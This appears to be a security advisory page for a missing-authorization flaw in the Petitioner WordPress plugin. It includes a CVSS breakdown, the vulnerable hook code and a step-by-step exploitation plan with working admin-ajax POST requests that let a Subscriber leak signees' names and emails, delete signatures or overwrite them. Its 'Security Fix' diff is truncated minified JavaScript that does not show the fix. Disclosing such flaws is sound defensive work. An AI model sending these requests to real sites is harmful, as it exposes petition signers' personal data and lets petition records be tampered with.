Petitioner <= 0.7.3 - Missing Authorization
Description
The Petitioner plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 0.7.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v0.7.4
Source Code
WordPress.org SVNThis research plan outlines the technical steps required to exploit a Missing Authorization vulnerability in the Petitioner plugin (versions up to 0.7.3). ### 1. Vulnerability Summary The Petitioner plugin registers several AJAX actions for managing petition submissions (fetching, updating, deletin…
Show full research plan
This research plan outlines the technical steps required to exploit a Missing Authorization vulnerability in the Petitioner plugin (versions up to 0.7.3).
1. Vulnerability Summary
The Petitioner plugin registers several AJAX actions for managing petition submissions (fetching, updating, deleting, and status changes) using the wp_ajax_ prefix in inc/class-setup.php. While these actions are restricted to authenticated users, the corresponding handler functions in AV_Petitioner_Submissions_Controller (in inc/submissions/class-submissions-controller.php) fail to perform capability checks (e.g., current_user_can('manage_options')).
Additionally, frontend source code (e.g., src/js/admin/sections/EditFields/Submissions/ApprovalStatus/ResendButton.tsx) reveals that these endpoints do not implement WordPress nonces for CSRF protection, allowing any logged-in user (starting from the Subscriber role) to manipulate or delete petition signatures.
2. Attack Vector Analysis
- Endpoints:
/wp-admin/admin-ajax.php - Actions:
petitioner_delete_submission(Primary Target)petitioner_fetch_submissions(PII Leakage)petitioner_change_statuspetitioner_update_submission
- Method:
POST - Authentication: Required (Subscriber-level access).
- Parameters:
id: The integer ID of the submission to delete/update.form_id: Used inpetitioner_fetch_submissionsto list entries.
3. Code Flow
- Registration: In
inc/class-setup.php, the plugin hooks AJAX actions:add_action('wp_ajax_petitioner_delete_submission', ['AV_Petitioner_Submissions_Controller', 'api_delete_form_submission']); - Request Entry: An authenticated user sends a POST request to
admin-ajax.php?action=petitioner_delete_submission. - Missing Check: The
AV_Petitioner_Submissions_Controller::api_delete_form_submissionmethod is invoked. It lacks acurrent_user_can()check or acheck_ajax_referer()call. - Sink: The controller calls
AV_Petitioner_Submissions_Model::delete_submission($id), which executes a database deletion.
4. Nonce Acquisition Strategy
Based on the provided source file src/js/admin/sections/EditFields/Submissions/ApprovalStatus/ResendButton.tsx, the admin-facing AJAX handlers do not require nonces. The fetch calls in the React components pass only the submission id and action without any nonce or security parameter.
// Verification from ResendButton.tsx
const response = await fetch(`${ajaxurl}?action=petitioner_resend_confirmation_email`, {
method: 'POST',
body: new URLSearchParams({ id: id.toString() }), // No nonce present
});
Therefore, a Subscriber-level attacker can trigger these actions directly as long as they provide a valid id.
5. Exploitation Strategy
Step 1: Discover a Submission ID
To delete a submission, the attacker needs a valid submission id. They can leak all submissions (and their IDs) for a specific form using the vulnerable petitioner_fetch_submissions action.
- Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=petitioner_fetch_submissions&form_id=1 - Response: A JSON object containing an array of signees, including their
id,email, andfname.
Step 2: Delete a Submission
Once an id is obtained (e.g., id=42), the attacker performs the unauthorized deletion.
- Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=petitioner_delete_submission&id=42 - Expected Response:
{"success": true}
6. Test Data Setup
- Create Petition: Create a new petition post via WP-CLI.
wp post create --post_type=petitioner-petition --post_title="Save the Whales" --post_status=publish - Generate Submission: Use the public form submission action to create a test signature. (Requires a nonce, but we can bypass the public check by using WP-CLI to insert directly or by fetching the nonce from a page with the petition shortcode).
# Alternative: Use WP-CLI to insert a row into the custom table directly wp db query "INSERT INTO wp_petitioner_submissions (form_id, email, fname, lname, approval_status) VALUES (1, 'victim@example.com', 'John', 'Doe', 'Confirmed')" - Create Attacker: Create a user with the Subscriber role.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
7. Expected Results
- The
petitioner_fetch_submissionsrequest should return PII data (emails/names) for all signees, even though the user is only a Subscriber. - The
petitioner_delete_submissionrequest should return a success message. - The targeted signature should be removed from the database.
8. Verification Steps
After running the exploit as a Subscriber, verify the deletion using WP-CLI:
# Check if the submission still exists in the database
wp db query "SELECT * FROM wp_petitioner_submissions WHERE email='victim@example.com'"
# Expected: Empty result
9. Alternative Approaches
If petitioner_delete_submission is not prioritized, target petitioner_update_submission to alter the names or emails of signees:
- Payload:
action=petitioner_update_submission&id=42&petitioner_email=hacked@evil.com&petitioner_fname=Hacked - Reasoning: Demonstrates unauthorized modification (Integrity violation).
Summary
The Petitioner plugin for WordPress (<= 0.7.3) is vulnerable to unauthorized access and data manipulation due to missing authorization and nonce checks in several administrative AJAX handlers. This allow authenticated attackers, such as Subscribers, to fetch signee PII, update submission details, or delete petition signatures without administrative privileges.
Vulnerable Code
// inc/class-setup.php lines 77-84 add_action('wp_ajax_petitioner_fetch_submissions', array('AV_Petitioner_Submissions_Controller', 'api_fetch_form_submissions')); add_action('wp_ajax_petitioner_get_submissions', array('AV_Petitioner_Submissions_Controller', 'api_get_form_submissions')); add_action('wp_ajax_nopriv_petitioner_get_submissions', array('AV_Petitioner_Submissions_Controller', 'api_get_form_submissions')); add_action('wp_ajax_petitioner_change_status', array('AV_Petitioner_Submissions_Controller', 'api_change_submission_status')); add_action('wp_ajax_petitioner_resend_confirmation_email', ['AV_Petitioner_Submissions_Controller', 'api_resend_confirmation_email']); add_action('wp_ajax_petitioner_resend_all_confirmation_emails', ['AV_Petitioner_Submissions_Controller', 'api_resend_all_confirmation_emails']); add_action('wp_ajax_petitioner_check_unconfirmed_count', ['AV_Petitioner_Submissions_Controller', 'api_check_unconfirmed_count']); add_action('wp_ajax_petitioner_update_submission', ['AV_Petitioner_Submissions_Controller', 'api_update_form_submission']); add_action('wp_ajax_petitioner_delete_submission', ['AV_Petitioner_Submissions_Controller', 'api_delete_form_submission']); --- // src/js/admin/sections/EditFields/Submissions/ApprovalStatus/ResendButton.tsx lines 20-30 const response = await fetch( `${ajaxurl}?action=petitioner_resend_confirmation_email`, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', }, body: new URLSearchParams({ id: id.toString(), }), } );
Security Fix
@@ -1,4 +1,4 @@ -var ov=Object.freeze,Mk=Object.defineProperty;var fe=(e,t)=>ov(Mk(e,"raw",{value:ov(t||e.slice())}));import{s as Fk}from"./assets/utilities-Cs0l2Oez.js";function F8(){import.meta.url,import("_").catch(()=>1),async function*(){}().next()}function $k(e,t){for(var n=0;n<t.length;n++){const r=t[n];if(typeof r!="string"&&!Array.isArray(r)){for(const o in r)if(o!=="default"&&!(o in e)){const i=Object.getOwnPropertyDescriptor(r,o);i&&Object.defineProperty(e,o,i.get?i:{enumerable:!0,get:()=>r[o]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}var zk=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function ml(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var Yb={exports:{}},$c={},Xb={exports:{}},be={};/** +var ov=Object.freeze,Mk=Object.defineProperty;var fe=(e,t)=>ov(Mk(e,"raw",{value:ov(t||e.slice())}));import{s as Fk}from"./assets/utilities-Cs0l2Oez.js";function F8(){import.meta.url,import("_").catch(()=>1),async function*(){}().next()}function $k(e,t){for(var n=0;n<t.length;n++){const r=t[n];if(typeof r!="string"&&!Array.isArray(r)){for(const o in r)if(o!=="default"&&!(o in e)){const i=Object.getOwnPropertyDescriptor(r,o);i&&Object.defineProperty(e,o,i.get?i:{enumerable:!0,get:()=>r[o]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}var zk=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function hl(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var Yb={exports:{}},zc={},Xb={exports:{}},be={};/** ... (truncated)
Exploit Outline
The exploit targets the administrative AJAX handlers that lack capability checks. An attacker must first authenticate as any user (e.g., Subscriber). 1. Data Leakage: The attacker sends a POST request to admin-ajax.php with the action 'petitioner_fetch_submissions' and a 'form_id'. The server responds with signee PII and submission IDs. 2. Data Modification/Deletion: Using a leaked submission ID, the attacker sends a POST request to 'petitioner_delete_submission' or 'petitioner_update_submission' with the 'id' parameter. Because the controller fails to verify if the user has 'manage_options' capabilities or validate a nonce, the action is executed on the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.